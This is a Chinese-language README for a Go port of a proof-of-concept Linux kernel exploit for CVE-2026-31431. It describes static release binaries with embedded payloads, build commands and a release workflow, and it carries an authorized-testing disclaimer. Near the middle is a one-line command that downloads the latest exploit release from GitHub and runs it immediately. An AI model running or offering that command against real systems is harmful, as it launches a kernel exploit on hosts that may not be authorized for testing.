本仓库包含公开 Python 概念验证(PoC)的 Go 移植版本,原始代码来自
theori-io/copy-fail-CVE-2026-31431。
该程序仅支持 Linux。它使用 Linux AF_ALG 接口、AEAD 控制消息以及 splice(2) 来保留原始 PoC 的行为,同时构建为小型静态 Go 二进制文件。
为以下平台生成发布构建:
linux/amd64linux/arm64linux/386每个二进制文件都嵌入了针对相同目标架构的 payload ELF。
macOS 和 Windows 构建有意不发布,因为该 PoC 依赖 Linux 特有的内核接口。
带标签的发布版本会发布压缩的静态二进制文件以及校验和清单:
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMS使用以下命令验证下载的构件:
sha256sum -c SHA256SUMS
要求:
构建当前主机架构:
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
交叉构建 Linux 目标平台:
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
支持的 GOARCH 值为 amd64、arm64 和 386。
运行测试:
go test ./...
go vet ./...
测试仅覆盖非破坏性的辅助逻辑。它们不会执行 PoC 触发路径。
在您拥有或明确授权测试的 Linux 系统上运行该二进制文件:
./copy-fail-poc-linux-*
一行命令下载并运行发布版本:
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
行为取决于目标内核和本地系统配置。该二进制文件不保证在每个 Linux 系统上都能成功利用。
GitHub Actions 工作流在匹配 v* 的标签上运行,也可以从 Actions 选项卡手动启动。
创建发布版本:
git tag v0.1.0
git push origin v0.1.0
对于标签构建,工作流会创建 GitHub Release 并上传 Linux 构件以及 SHA256SUMS。对于手动运行,构件可从工作流运行中获取。
本项目仅用于授权的安全研究、防御性验证和教育性审查。请勿在您不拥有或未经明确许可测试的系统上运行。您有责任遵守所有适用的法律、合同和政策。